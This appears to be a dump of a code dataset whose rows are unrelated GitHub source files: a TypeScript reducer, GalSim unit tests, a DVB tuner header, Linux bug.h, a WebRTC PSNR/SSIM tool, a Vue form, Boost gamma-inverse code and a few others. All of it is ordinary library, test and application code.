text
stringlengths
2
100k
meta
dict
import { IRequestEntityTypeState } from '../../../../store/src/app-state'; import { APIResource, NormalizedResponse } from '../../../../store/src/types/api.types'; import { APISuccessOrFailedAction } from '../../../../store/src/types/request.types'; import { IOrganization } from '../../cf-api.types'; import { getCFEntityKey } from '../../cf-entity-helpers'; type entityOrgType = APIResource<IOrganization<string>>; export function updateOrganizationQuotaReducer( state: IRequestEntityTypeState<entityOrgType>, action: APISuccessOrFailedAction<NormalizedResponse> ) { switch (action.type) { // TODO: This action type is not strictly defined anywhere case '[Organizations] Update Org success': const response = action.response; const entityKey = getCFEntityKey(action.apiAction.entityType); const newOrg = response.entities[entityKey][response.result[0]]; const quotaDefinitionGuid = newOrg.entity.quota_definition_guid; const org = state[newOrg.metadata.guid]; return applyQuotaDefinition(state, org, quotaDefinitionGuid); } return state; } function applyQuotaDefinition( state: IRequestEntityTypeState<entityOrgType>, org: entityOrgType, quotaDefinitionGuid: string ): IRequestEntityTypeState<entityOrgType> { return { ...state, [org.metadata.guid]: { ...org, entity: { ...org.entity, quota_definition: quotaDefinitionGuid }, }, }; }
{ "pile_set_name": "Github" }
gcr.io/google_containers/nginx:test-cmd
{ "pile_set_name": "Github" }
### Makefile -- Newton's method # Author: Michael Grünewald # Date: Thu Oct 3 23:39:20 CEST 2013 # BSD Owl Scripts (https://github.com/michipili/bsdowl) # This file is part of BSD Owl Scripts # # Copyright © 2002–2017 Michael Grünewald. All Rights Reserved. # # This file must be used under the terms of the BSD license. # This source file is licensed as described in the file LICENSE, which # you should have received as part of this distribution. LIBRARY= newton SRCS+= newton.ml do-test: newton.cma test_newton.ml .PHONY ocaml ${.ALLSRC} .include "ocaml.lib.mk" ### End of file `Makefile'
{ "pile_set_name": "Github" }
# Copyright (c) 2012-2019 by the GalSim developers team on GitHub # https://github.com/GalSim-developers # # This file is part of GalSim: The modular galaxy image simulation toolkit. # https://github.com/GalSim-developers/GalSim # # GalSim is free software: redistribution and use in source and binary forms, # with or without modification, are permitted provided that the following # conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, this # list of conditions, and the disclaimer given in the accompanying LICENSE # file. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions, and the disclaimer given in the documentation # and/or other materials provided with the distribution. # from __future__ import print_function import numpy as np import os import sys import galsim from galsim_test_helpers import * path, filename = os.path.split(__file__) imgdir = os.path.join(path, "SBProfile_comparison_images") # Directory containing the reference # images. @timer def test_exponential(): """Test the generation of a specific exp profile against a known result. """ re = 1.0 # Note the factor below should really be 1.6783469900166605, but the value of 1.67839 is # retained here as it was used by SBParse to generate the original known result (this changed # in commit b77eb05ab42ecd31bc8ca03f1c0ae4ee0bc0a78b. # The value of this test for regression purposes is not harmed by retaining the old scaling, it # just means that the half light radius chosen for the test is not really 1, but 0.999974... r0 = re/1.67839 savedImg = galsim.fits.read(os.path.join(imgdir, "exp_1.fits")) dx = 0.2 myImg = galsim.ImageF(savedImg.bounds, scale=dx) myImg.setCenter(0,0) expon = galsim.Exponential(flux=1., scale_radius=r0) expon.drawImage(myImg,scale=dx, method="sb", use_true_center=False) np.testing.assert_array_almost_equal( myImg.array, savedImg.array, 5, err_msg="Using GSObject Exponential disagrees with expected result") # Check with default_params expon = galsim.Exponential(flux=1., scale_radius=r0, gsparams=default_params) expon.drawImage(myImg,scale=dx, method="sb", use_true_center=False) np.testing.assert_array_almost_equal( myImg.array, savedImg.array, 5, err_msg="Using GSObject Exponential with default_params disagrees with expected result") expon = galsim.Exponential(flux=1., scale_radius=r0, gsparams=galsim.GSParams()) expon.drawImage(myImg,scale=dx, method="sb", use_true_center=False) np.testing.assert_array_almost_equal( myImg.array, savedImg.array, 5, err_msg="Using GSObject Exponential with GSParams() disagrees with expected result") # Use non-unity values. expon = galsim.Exponential(flux=1.7, scale_radius=0.91) gsp = galsim.GSParams(xvalue_accuracy=1.e-8, kvalue_accuracy=1.e-8) expon2 = galsim.Exponential(flux=1.7, scale_radius=0.91, gsparams=gsp) assert expon2 != expon assert expon2 == expon.withGSParams(gsp) check_basic(expon, "Exponential") # Test photon shooting. do_shoot(expon,myImg,"Exponential") # Test kvalues do_kvalue(expon,myImg,"Exponential") # Check picklability do_pickle(expon, lambda x: x.drawImage(method='no_pixel')) do_pickle(expon) # Should raise an exception if both scale_radius and half_light_radius are provided. assert_raises(TypeError, galsim.Exponential, scale_radius=3, half_light_radius=1) # Or neither. assert_raises(TypeError, galsim.Exponential) @timer def test_exponential_properties(): """Test some basic properties of the Exponential profile. """ test_flux = 17.9 test_scale = 1.8 expon = galsim.Exponential(flux=test_flux, scale_radius=test_scale) # Check that we are centered on (0, 0) cen = galsim.PositionD(0, 0) np.testing.assert_equal(expon.centroid, cen) # Check Fourier properties np.testing.assert_almost_equal(expon.maxk, 10 / test_scale) np.testing.assert_almost_equal(expon.stepk, 0.37436747851 / test_scale) np.testing.assert_almost_equal(expon.kValue(cen), (1+0j) * test_flux) np.testing.assert_almost_equal(expon.flux, test_flux) import math np.testing.assert_almost_equal(expon.xValue(cen), 1./(2.*math.pi)*test_flux/test_scale**2) np.testing.assert_almost_equal(expon.xValue(cen), expon.max_sb) # Check input flux vs output flux for inFlux in np.logspace(-2, 2, 10): expon = galsim.Exponential(flux=inFlux, scale_radius=1.8) outFlux = expon.flux np.testing.assert_almost_equal(outFlux, inFlux) @timer def test_exponential_radii(): """Test initialization of Exponential with different types of radius specification. """ test_hlr = 1.8 test_scale = 1.8 import math # Test constructor using half-light-radius: test_gal = galsim.Exponential(flux=1., half_light_radius=test_hlr) hlr_sum = radial_integrate(test_gal, 0., test_hlr) print('hlr_sum = ',hlr_sum) np.testing.assert_almost_equal( hlr_sum, 0.5, decimal=4, err_msg="Error in Exponential constructor with half-light radius") # then test scale getter center = test_gal.xValue(galsim.PositionD(0,0)) got_sr = test_gal.scale_radius ratio = test_gal.xValue(galsim.PositionD(got_sr,0)) / center print('scale ratio = ',ratio) np.testing.assert_almost_equal( ratio, np.exp(-1.0), decimal=4, err_msg="Error in scale_radius for Exponential constructed with half light radius") # Test constructor using scale radius: test_gal = galsim.Exponential(flux=1., scale_radius=test_scale) center = test_gal.xValue(galsim.PositionD(0,0)) ratio = test_gal.xValue(galsim.PositionD(test_scale,0)) / center print('scale ratio = ',ratio) np.testing.assert_almost_equal( ratio, np.exp(-1.0), decimal=4, err_msg="Error in Exponential constructor with scale") # then test that image indeed has the correct HLR properties when radially integrated got_hlr = test_gal.half_light_radius hlr_sum = radial_integrate(test_gal, 0., got_hlr) print('hlr_sum (profile initialized with scale_radius) = ',hlr_sum) np.testing.assert_almost_equal( hlr_sum, 0.5, decimal=4, err_msg="Error in half light radius for Exponential initialized with scale_radius.") # Check that the getters don't work after modifying the original. test_gal_shear = test_gal.shear(g1=0.3, g2=0.1) assert_raises(AttributeError, getattr, test_gal_shear, "half_light_radius") assert_raises(AttributeError, getattr, test_gal_shear, "scale_radius") @timer def test_exponential_flux_scaling(): """Test flux scaling for Exponential. """ # decimal point to go to for parameter value comparisons param_decimal = 12 test_flux = 17.9 test_scale = 1.8 # init with scale and flux only (should be ok given last tests) obj = galsim.Exponential(scale_radius=test_scale, flux=test_flux) obj *= 2. np.testing.assert_almost_equal( obj.flux, test_flux * 2., decimal=param_decimal, err_msg="Flux param inconsistent after __imul__.") obj = galsim.Exponential(scale_radius=test_scale, flux=test_flux) obj /= 2. np.testing.assert_almost_equal( obj.flux, test_flux / 2., decimal=param_decimal, err_msg="Flux param inconsistent after __idiv__.") obj = galsim.Exponential(scale_radius=test_scale, flux=test_flux) obj2 = obj * 2. # First test that original obj is unharmed... np.testing.assert_almost_equal( obj.flux, test_flux, decimal=param_decimal, err_msg="Flux param inconsistent after __rmul__ (original).") # Then test new obj2 flux np.testing.assert_almost_equal( obj2.flux, test_flux * 2., decimal=param_decimal, err_msg="Flux param inconsistent after __rmul__ (result).") obj = galsim.Exponential(scale_radius=test_scale, flux=test_flux) obj2 = 2. * obj # First test that original obj is unharmed... np.testing.assert_almost_equal( obj.flux, test_flux, decimal=param_decimal, err_msg="Flux param inconsistent after __mul__ (original).") # Then test new obj2 flux np.testing.assert_almost_equal( obj2.flux, test_flux * 2., decimal=param_decimal, err_msg="Flux param inconsistent after __mul__ (result).") obj = galsim.Exponential(scale_radius=test_scale, flux=test_flux) obj2 = obj / 2. # First test that original obj is unharmed... np.testing.assert_almost_equal( obj.flux, test_flux, decimal=param_decimal, err_msg="Flux param inconsistent after __div__ (original).") # Then test new obj2 flux np.testing.assert_almost_equal( obj2.flux, test_flux / 2., decimal=param_decimal, err_msg="Flux param inconsistent after __div__ (result).") @timer def test_exponential_shoot(): """Test Exponential with photon shooting. Particularly the flux of the final image. """ rng = galsim.BaseDeviate(1234) obj = galsim.Exponential(half_light_radius=3.5, flux=1.e4) im = galsim.Image(100,100, scale=1) im.setCenter(0,0) added_flux, photons = obj.drawPhot(im, poisson_flux=False, rng=rng) print('obj.flux = ',obj.flux) print('added_flux = ',added_flux) print('photon fluxes = ',photons.flux.min(),'..',photons.flux.max()) print('image flux = ',im.array.sum()) assert np.isclose(added_flux, obj.flux) assert np.isclose(im.array.sum(), obj.flux) @timer def test_ne(): """Test base.py GSObjects for not-equals.""" # Define some universal gsps gsp = galsim.GSParams(maxk_threshold=1.1e-3, folding_threshold=5.1e-3) # Exponential. Params include half_light_radius, scale_radius, flux, gsparams # The following should all test unequal: gals = [galsim.Exponential(half_light_radius=1.0), galsim.Exponential(half_light_radius=1.1), galsim.Exponential(scale_radius=1.0), galsim.Exponential(half_light_radius=1.0, flux=1.1), galsim.Exponential(half_light_radius=1.0, gsparams=gsp)] all_obj_diff(gals) if __name__ == "__main__": test_exponential() test_exponential_properties() test_exponential_radii() test_exponential_flux_scaling() test_exponential_shoot() test_ne()
{ "pile_set_name": "Github" }
/* DVB Driver for Philips tda827x / tda827xa Silicon tuners (c) 2005 Hartmut Hackmann (c) 2007 Michael Krufky This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ #ifndef __DVB_TDA827X_H__ #define __DVB_TDA827X_H__ #include <linux/i2c.h> #include "dvb_frontend.h" #include "tda8290.h" struct tda827x_config { /* saa7134 - provided callbacks */ int (*init) (struct dvb_frontend *fe); int (*sleep) (struct dvb_frontend *fe); /* interface to tda829x driver */ enum tda8290_lna config; int switch_addr; void (*agcf)(struct dvb_frontend *fe); }; /** * Attach a tda827x tuner to the supplied frontend structure. * * @param fe Frontend to attach to. * @param addr i2c address of the tuner. * @param i2c i2c adapter to use. * @param cfg optional callback function pointers. * @return FE pointer on success, NULL on failure. */ #if IS_ENABLED(CONFIG_MEDIA_TUNER_TDA827X) extern struct dvb_frontend* tda827x_attach(struct dvb_frontend *fe, int addr, struct i2c_adapter *i2c, struct tda827x_config *cfg); #else static inline struct dvb_frontend* tda827x_attach(struct dvb_frontend *fe, int addr, struct i2c_adapter *i2c, struct tda827x_config *cfg) { printk(KERN_WARNING "%s: driver disabled by Kconfig\n", __func__); return NULL; } #endif // CONFIG_MEDIA_TUNER_TDA827X #endif // __DVB_TDA827X_H__
{ "pile_set_name": "Github" }
<!doctype html> <meta charset="utf-8" /> <style> html, body { font-family: monospace; } </style> <?php /** * Example 1. * Usage VK API without authorization. * Some calls are not available. * @link http://vk.com/developers.php VK API */ error_reporting(E_ALL); require_once('../src/VK/VK.php'); require_once('../src/VK/VKException.php'); try { $vk = new VK\VK('{YOUR_APP_ID}', '{YOUR_API_SECRET}'); // Use your app_id and api_secret $users = $vk->api('users.get', array( 'uids' => '1234,4321', 'fields' => 'first_name,last_name,sex')); foreach ($users['response'] as $user) { echo $user['first_name'] . ' ' . $user['last_name'] . ' (' . ($user['sex'] == 1 ? 'Girl' : 'Man') . ')<br />'; } } catch (VK\VKException $error) { echo $error->getMessage(); }
{ "pile_set_name": "Github" }
#pragma once // Params should go here.... // code goes here // example ABI_SYSV int test(int input); void WKBundleInitialize();
{ "pile_set_name": "Github" }
/* This project is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Deviation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Deviation. If not, see <http://www.gnu.org/licenses/>. */ #include <libopencm3/cm3/nvic.h> #include <libopencm3/stm32/gpio.h> #include <libopencm3/stm32/usart.h> #include "common.h" #include "target/drivers/mcu/stm32/tim.h" #include "target/drivers/mcu/stm32/exti.h" #include "target/drivers/mcu/stm32/nvic.h" #ifndef MODULAR extern u8 in_byte; extern u8 data_byte; extern u8 bit_pos; extern sser_callback_t *soft_rx_callback; #define SSER_BIT_TIME (((TIM_FREQ_MHz(SSER_TIM.tim) * 1736) + 50) / 100) // 17.36 us : 1250@72MHz, 1042@60MHz // rising edge ISR void __attribute__((__used__)) SSER_RX_ISR(void) { exti_reset_request(EXTIx(UART_CFG.rx)); if (in_byte) return; // start bit detected in_byte = 1; bit_pos = 0; data_byte = 0; nvic_disable_irq(NVIC_EXTIx_IRQ(UART_CFG.rx)); //Configure timer for 1/2 bit time to start timer_set_period(SSER_TIM.tim, SSER_BIT_TIME / 2); nvic_enable_irq(get_nvic_irq(SSER_TIM.tim)); timer_enable_counter(SSER_TIM.tim); } static void next_byte() { in_byte = 0; timer_disable_counter(SSER_TIM.tim); nvic_enable_irq(NVIC_EXTIx_IRQ(UART_CFG.rx)); } // bit timer ISR void __attribute__((__used__)) SSER_TIM_ISR(void) { timer_clear_flag(SSER_TIM.tim, TIM_SR_UIF); u16 value = GPIO_pin_get(UART_CFG.rx); if (in_byte == 1) { // first interrupt after edge, check start bit if (value) { in_byte = 2; timer_set_period(SSER_TIM.tim, SSER_BIT_TIME); } else { next_byte(); // error in start bit, start looking again again } return; } if (bit_pos == 8) { if (!value && soft_rx_callback) soft_rx_callback(data_byte); // invoke callback if stop bit valid next_byte(); } if (!value) data_byte |= (1 << bit_pos); bit_pos += 1; } #ifdef HAS_SSER_TX extern volatile u8 sser_transmitting; void __attribute__((__used__)) SSER_TX_DMA_ISR(void) { timer_disable_counter(SSER_TX_TIM.tim); nvic_disable_irq(NVIC_DMA2_STREAM1_IRQ); dma_clear_interrupt_flags(SSER_TX_DMA.dma, SSER_TX_DMA.stream, DMA_TCIF); dma_disable_transfer_complete_interrupt(SSER_TX_DMA.dma, SSER_TX_DMA.stream); dma_disable_stream(SSER_TX_DMA.dma, SSER_TX_DMA.stream); sser_transmitting = 0; } #endif // HAS_SSER_TX #endif // MODULAR
{ "pile_set_name": "Github" }
/* SPDX-License-Identifier: GPL-2.0 */ #ifndef _LINUX_BUG_H #define _LINUX_BUG_H #include <asm/bug.h> #include <linux/compiler.h> #include <linux/build_bug.h> enum bug_trap_type { BUG_TRAP_TYPE_NONE = 0, BUG_TRAP_TYPE_WARN = 1, BUG_TRAP_TYPE_BUG = 2, }; struct pt_regs; #ifdef __CHECKER__ #define MAYBE_BUILD_BUG_ON(cond) (0) #else /* __CHECKER__ */ #define MAYBE_BUILD_BUG_ON(cond) \ do { \ if (__builtin_constant_p((cond))) \ BUILD_BUG_ON(cond); \ else \ BUG_ON(cond); \ } while (0) #endif /* __CHECKER__ */ #ifdef CONFIG_GENERIC_BUG #include <asm-generic/bug.h> static inline int is_warning_bug(const struct bug_entry *bug) { return bug->flags & BUGFLAG_WARNING; } struct bug_entry *find_bug(unsigned long bugaddr); enum bug_trap_type report_bug(unsigned long bug_addr, struct pt_regs *regs); /* These are defined by the architecture */ int is_valid_bugaddr(unsigned long addr); void generic_bug_clear_once(void); #else /* !CONFIG_GENERIC_BUG */ static inline enum bug_trap_type report_bug(unsigned long bug_addr, struct pt_regs *regs) { return BUG_TRAP_TYPE_BUG; } static inline void generic_bug_clear_once(void) {} #endif /* CONFIG_GENERIC_BUG */ /* * Since detected data corruption should stop operation on the affected * structures. Return value must be checked and sanely acted on by caller. */ static inline __must_check bool check_data_corruption(bool v) { return v; } #define CHECK_DATA_CORRUPTION(condition, fmt, ...) \ check_data_corruption(({ \ bool corruption = unlikely(condition); \ if (corruption) { \ if (IS_ENABLED(CONFIG_BUG_ON_DATA_CORRUPTION)) { \ pr_err(fmt, ##__VA_ARGS__); \ BUG(); \ } else \ WARN(1, fmt, ##__VA_ARGS__); \ } \ corruption; \ })) #endif /* _LINUX_BUG_H */
{ "pile_set_name": "Github" }
/* * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved. * * Use of this source code is governed by a BSD-style license * that can be found in the LICENSE file in the root of the source * tree. An additional intellectual property rights grant can be found * in the file PATENTS. All contributing project authors may * be found in the AUTHORS file in the root of the source tree. */ #include <limits.h> #include <stdio.h> #include <stdlib.h> #include <map> #include <string> #include <vector> #include "webrtc/tools/frame_analyzer/video_quality_analysis.h" #include "webrtc/tools/simple_command_line_parser.h" #define MAX_NUM_FRAMES_PER_FILE INT_MAX void CompareFiles(const char* reference_file_name, const char* test_file_name, const char* results_file_name, int width, int height) { // Check if the reference_file_name ends with "y4m". bool y4m_mode = false; if (std::string(reference_file_name).find("y4m") != std::string::npos) { y4m_mode = true; } FILE* results_file = fopen(results_file_name, "w"); int size = webrtc::test::GetI420FrameSize(width, height); // Allocate buffers for test and reference frames. uint8_t* test_frame = new uint8_t[size]; uint8_t* ref_frame = new uint8_t[size]; bool read_result = true; for (int frame_counter = 0; frame_counter < MAX_NUM_FRAMES_PER_FILE; ++frame_counter) { read_result &= (y4m_mode) ? webrtc::test::ExtractFrameFromY4mFile( reference_file_name, width, height, frame_counter, ref_frame): webrtc::test::ExtractFrameFromYuvFile(reference_file_name, width, height, frame_counter, ref_frame); read_result &= webrtc::test::ExtractFrameFromYuvFile(test_file_name, width, height, frame_counter, test_frame); if (!read_result) break; // Calculate the PSNR and SSIM. double result_psnr = webrtc::test::CalculateMetrics( webrtc::test::kPSNR, ref_frame, test_frame, width, height); double result_ssim = webrtc::test::CalculateMetrics( webrtc::test::kSSIM, ref_frame, test_frame, width, height); fprintf(results_file, "Frame: %d, PSNR: %f, SSIM: %f\n", frame_counter, result_psnr, result_ssim); } delete[] test_frame; delete[] ref_frame; fclose(results_file); } /* * A tool running PSNR and SSIM analysis on two videos - a reference video and a * test video. The two videos should be I420 YUV videos. * The tool just runs PSNR and SSIM on the corresponding frames in the test and * the reference videos until either the first or the second video runs out of * frames. The result is written in a results text file in the format: * Frame: <frame_number>, PSNR: <psnr_value>, SSIM: <ssim_value> * Frame: <frame_number>, ........ * * The max value for PSNR is 48.0 (between equal frames), as for SSIM it is 1.0. * * Usage: * psnr_ssim_analyzer --reference_file=<name_of_file> --test_file=<name_of_file> * --results_file=<name_of_file> --width=<width_of_frames> * --height=<height_of_frames> */ int main(int argc, char** argv) { std::string program_name = argv[0]; std::string usage = "Runs PSNR and SSIM on two I420 videos and write the" "results in a file.\n" "Example usage:\n" + program_name + " --reference_file=ref.yuv " "--test_file=test.yuv --results_file=results.txt --width=320 " "--height=240\n" "Command line flags:\n" " - width(int): The width of the reference and test files. Default: -1\n" " - height(int): The height of the reference and test files. " " Default: -1\n" " - reference_file(string): The reference YUV file to compare against." " Default: ref.yuv\n" " - test_file(string): The test YUV file to run the analysis for." " Default: test_file.yuv\n" " - results_file(string): The full name of the file where the results " "will be written. Default: results.txt\n"; webrtc::test::CommandLineParser parser; // Init the parser and set the usage message parser.Init(argc, argv); parser.SetUsageMessage(usage); parser.SetFlag("width", "-1"); parser.SetFlag("height", "-1"); parser.SetFlag("results_file", "results.txt"); parser.SetFlag("reference_file", "ref.yuv"); parser.SetFlag("test_file", "test.yuv"); parser.SetFlag("results_file", "results.txt"); parser.SetFlag("help", "false"); parser.ProcessFlags(); if (parser.GetFlag("help") == "true") { parser.PrintUsageMessage(); exit(EXIT_SUCCESS); } parser.PrintEnteredFlags(); int width = strtol((parser.GetFlag("width")).c_str(), NULL, 10); int height = strtol((parser.GetFlag("height")).c_str(), NULL, 10); if (width <= 0 || height <= 0) { fprintf(stderr, "Error: width or height cannot be <= 0!\n"); return -1; } CompareFiles(parser.GetFlag("reference_file").c_str(), parser.GetFlag("test_file").c_str(), parser.GetFlag("results_file").c_str(), width, height); }
{ "pile_set_name": "Github" }
<template lang="pug"> .materials-create b-form(@submit.prevent="validateBeforeSubmit") .form-row .col-6 label(for="name") translate Name input.form-control#name(type="text" v-validate="'required'" :class="{'input': true, 'text-danger': errors.has('name') }" v-model="inventory.name" name="name") span.help-block.text-danger(v-show="errors.has('name')") {{ errors.first('name') }} .col-6 label(for="container_type") translate Type select.form-control#container_type(v-validate="'required'" :class="{'input': true, 'text-danger': errors.has('container_type') }" v-model="inventory.container_type" name="container_type") option(v-for="container in options.containers" v-bind:value="container.key") {{ container.label }}s span.help-block.text-danger(v-show="errors.has('container_type')") {{ errors.first('container_type') }} .form-row .col-6 label(for="price_per_unit") translate Price per Unit b-input-group(:prepend="$gettext('€')") input.form-control#price_per_unit(type="text" v-validate="'required'" :class="{'input': true, 'text-danger': errors.has('price_per_unit') }" v-model="inventory.price_per_unit" name="price_per_unit") span.help-block.text-danger(v-show="errors.has('price_per_unit')") {{ errors.first('price_per_unit') }} .col-6 label.control-label(for="quantity") translate Quantity b-input-group(:append="$gettext('Pieces')") input.form-control#quantity(type="text" v-validate="'required|decimal|min:0'" :class="{'input': true, 'text-danger': errors.has('quantity') }" v-model="inventory.quantity" name="quantity") span.help-block.text-danger(v-show="errors.has('quantity')") {{ errors.first('quantity') }} .form-group label.control-label translate Produced by input.form-control#produced_by(type="text" v-validate="'required'" :class="{'input': true, 'text-danger': errors.has('produced_by') }" v-model="inventory.produced_by" name="produced_by") span.help-block.text-danger(v-show="errors.has('produced_by')") {{ errors.first('produced_by') }} .form-group label.control-label(for="notes") translate Additional Notes textarea.form-control#notes(type="text" :class="{'input': true, 'text-danger': errors.has('notes') }" v-model="inventory.notes" name="notes" rows="2") span.help-block.text-danger(v-show="errors.has('notes')") {{ errors.first('notes') }} .form-group BtnCancel(v-on:click.native="closeModal()") BtnSave(customClass="float-right") </template> <script> import { mapActions } from 'vuex'; import moment from 'moment'; import { StubInventory } from '../../stores/stubs'; import { Containers } from '../../stores/helpers/farms/crop'; import BtnCancel from '../../components/common/btn-cancel.vue'; import BtnSave from '../../components/common/btn-save.vue'; export default { name: 'InventoriesMaterialsFormLabelCrop', components: { BtnCancel, BtnSave, }, props: ['data'], data() { return { inventory: Object.assign({}, StubInventory), options: { containers: Array.from(Containers), }, }; }, mounted() { if (typeof this.data.uid !== 'undefined') { this.inventory.uid = this.data.uid; this.inventory.name = this.data.name; this.inventory.container_type = this.data.type.type_detail.container_type.code; this.inventory.produced_by = this.data.produced_by; this.inventory.quantity = this.data.quantity.value; this.inventory.price_per_unit = this.data.price_per_unit.amount; this.inventory.notes = this.data.notes; } else { this.inventory.container_type = this.options.containers[0].key; } }, methods: { ...mapActions([ 'submitMaterial', ]), submit() { this.inventory.expiration_date = moment().format('YYYY-MM-DD'); this.inventory.type = 'seeding_container'; this.inventory.quantity_unit = 'PIECES'; this.submitMaterial(this.inventory) .then(() => this.$emit('closeModal')) .catch(() => this.$toasted.error('Error in material submission')); }, closeModal() { this.$emit('closeModal'); }, validateBeforeSubmit() { this.$validator.validateAll().then((result) => { if (result) { this.submit(); } }); }, }, }; </script> <style lang="scss" scoped> i.fa.fa-plus { width: 30px; } </style>
{ "pile_set_name": "Github" }
// (C) Copyright John Maddock 2006. // Use, modification and distribution are subject to the // Boost Software License, Version 1.0. (See accompanying file // LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // // This is not a complete header file, it is included by gamma.hpp // after it has defined it's definitions. This inverts the incomplete // gamma functions P and Q on the first parameter "a" using a generic // root finding algorithm (TOMS Algorithm 748). // #ifndef BOOST_MATH_SP_DETAIL_GAMMA_INVA #define BOOST_MATH_SP_DETAIL_GAMMA_INVA #ifdef _MSC_VER #pragma once #endif #include <boost/math/tools/toms748_solve.hpp> #include <boost/cstdint.hpp> namespace boost{ namespace math{ namespace detail{ template <class T, class Policy> struct gamma_inva_t { gamma_inva_t(T z_, T p_, bool invert_) : z(z_), p(p_), invert(invert_) {} T operator()(T a) { return invert ? p - boost::math::gamma_q(a, z, Policy()) : boost::math::gamma_p(a, z, Policy()) - p; } private: T z, p; bool invert; }; template <class T, class Policy> T inverse_poisson_cornish_fisher(T lambda, T p, T q, const Policy& pol) { BOOST_MATH_STD_USING // mean: T m = lambda; // standard deviation: T sigma = sqrt(lambda); // skewness T sk = 1 / sigma; // kurtosis: // T k = 1/lambda; // Get the inverse of a std normal distribution: T x = boost::math::erfc_inv(p > q ? 2 * q : 2 * p, pol) * constants::root_two<T>(); // Set the sign: if(p < 0.5) x = -x; T x2 = x * x; // w is correction term due to skewness T w = x + sk * (x2 - 1) / 6; /* // Add on correction due to kurtosis. // Disabled for now, seems to make things worse? // if(lambda >= 10) w += k * x * (x2 - 3) / 24 + sk * sk * x * (2 * x2 - 5) / -36; */ w = m + sigma * w; return w > tools::min_value<T>() ? w : tools::min_value<T>(); } template <class T, class Policy> T gamma_inva_imp(const T& z, const T& p, const T& q, const Policy& pol) { BOOST_MATH_STD_USING // for ADL of std lib math functions // // Special cases first: // if(p == 0) { return policies::raise_overflow_error<T>("boost::math::gamma_p_inva<%1%>(%1%, %1%)", 0, Policy()); } if(q == 0) { return tools::min_value<T>(); } // // Function object, this is the functor whose root // we have to solve: // gamma_inva_t<T, Policy> f(z, (p < q) ? p : q, (p < q) ? false : true); // // Tolerance: full precision. // tools::eps_tolerance<T> tol(policies::digits<T, Policy>()); // // Now figure out a starting guess for what a may be, // we'll start out with a value that'll put p or q // right bang in the middle of their range, the functions // are quite sensitive so we should need too many steps // to bracket the root from there: // T guess; T factor = 8; if(z >= 1) { // // We can use the relationship between the incomplete // gamma function and the poisson distribution to // calculate an approximate inverse, for large z // this is actually pretty accurate, but it fails badly // when z is very small. Also set our step-factor according // to how accurate we think the result is likely to be: // guess = 1 + inverse_poisson_cornish_fisher(z, q, p, pol); if(z > 5) { if(z > 1000) factor = 1.01f; else if(z > 50) factor = 1.1f; else if(guess > 10) factor = 1.25f; else factor = 2; if(guess < 1.1) factor = 8; } } else if(z > 0.5) { guess = z * 1.2f; } else { guess = -0.4f / log(z); } // // Max iterations permitted: // boost::uintmax_t max_iter = policies::get_max_root_iterations<Policy>(); // // Use our generic derivative-free root finding procedure. // We could use Newton steps here, taking the PDF of the // Poisson distribution as our derivative, but that's // even worse performance-wise than the generic method :-( // std::pair<T, T> r = bracket_and_solve_root(f, guess, factor, false, tol, max_iter, pol); if(max_iter >= policies::get_max_root_iterations<Policy>()) return policies::raise_evaluation_error<T>("boost::math::gamma_p_inva<%1%>(%1%, %1%)", "Unable to locate the root within a reasonable number of iterations, closest approximation so far was %1%", r.first, pol); return (r.first + r.second) / 2; } } // namespace detail template <class T1, class T2, class Policy> inline typename tools::promote_args<T1, T2>::type gamma_p_inva(T1 x, T2 p, const Policy& pol) { typedef typename tools::promote_args<T1, T2>::type result_type; typedef typename policies::evaluation<result_type, Policy>::type value_type; typedef typename policies::normalise< Policy, policies::promote_float<false>, policies::promote_double<false>, policies::discrete_quantile<>, policies::assert_undefined<> >::type forwarding_policy; if(p == 0) { policies::raise_overflow_error<result_type>("boost::math::gamma_p_inva<%1%>(%1%, %1%)", 0, Policy()); } if(p == 1) { return tools::min_value<result_type>(); } return policies::checked_narrowing_cast<result_type, forwarding_policy>( detail::gamma_inva_imp( static_cast<value_type>(x), static_cast<value_type>(p), static_cast<value_type>(1 - static_cast<value_type>(p)), pol), "boost::math::gamma_p_inva<%1%>(%1%, %1%)"); } template <class T1, class T2, class Policy> inline typename tools::promote_args<T1, T2>::type gamma_q_inva(T1 x, T2 q, const Policy& pol) { typedef typename tools::promote_args<T1, T2>::type result_type; typedef typename policies::evaluation<result_type, Policy>::type value_type; typedef typename policies::normalise< Policy, policies::promote_float<false>, policies::promote_double<false>, policies::discrete_quantile<>, policies::assert_undefined<> >::type forwarding_policy; if(q == 1) { policies::raise_overflow_error<result_type>("boost::math::gamma_q_inva<%1%>(%1%, %1%)", 0, Policy()); } if(q == 0) { return tools::min_value<result_type>(); } return policies::checked_narrowing_cast<result_type, forwarding_policy>( detail::gamma_inva_imp( static_cast<value_type>(x), static_cast<value_type>(1 - static_cast<value_type>(q)), static_cast<value_type>(q), pol), "boost::math::gamma_q_inva<%1%>(%1%, %1%)"); } template <class T1, class T2> inline typename tools::promote_args<T1, T2>::type gamma_p_inva(T1 x, T2 p) { return boost::math::gamma_p_inva(x, p, policies::policy<>()); } template <class T1, class T2> inline typename tools::promote_args<T1, T2>::type gamma_q_inva(T1 x, T2 q) { return boost::math::gamma_q_inva(x, q, policies::policy<>()); } } // namespace math } // namespace boost #endif // BOOST_MATH_SP_DETAIL_GAMMA_INVA
{ "pile_set_name": "Github" }
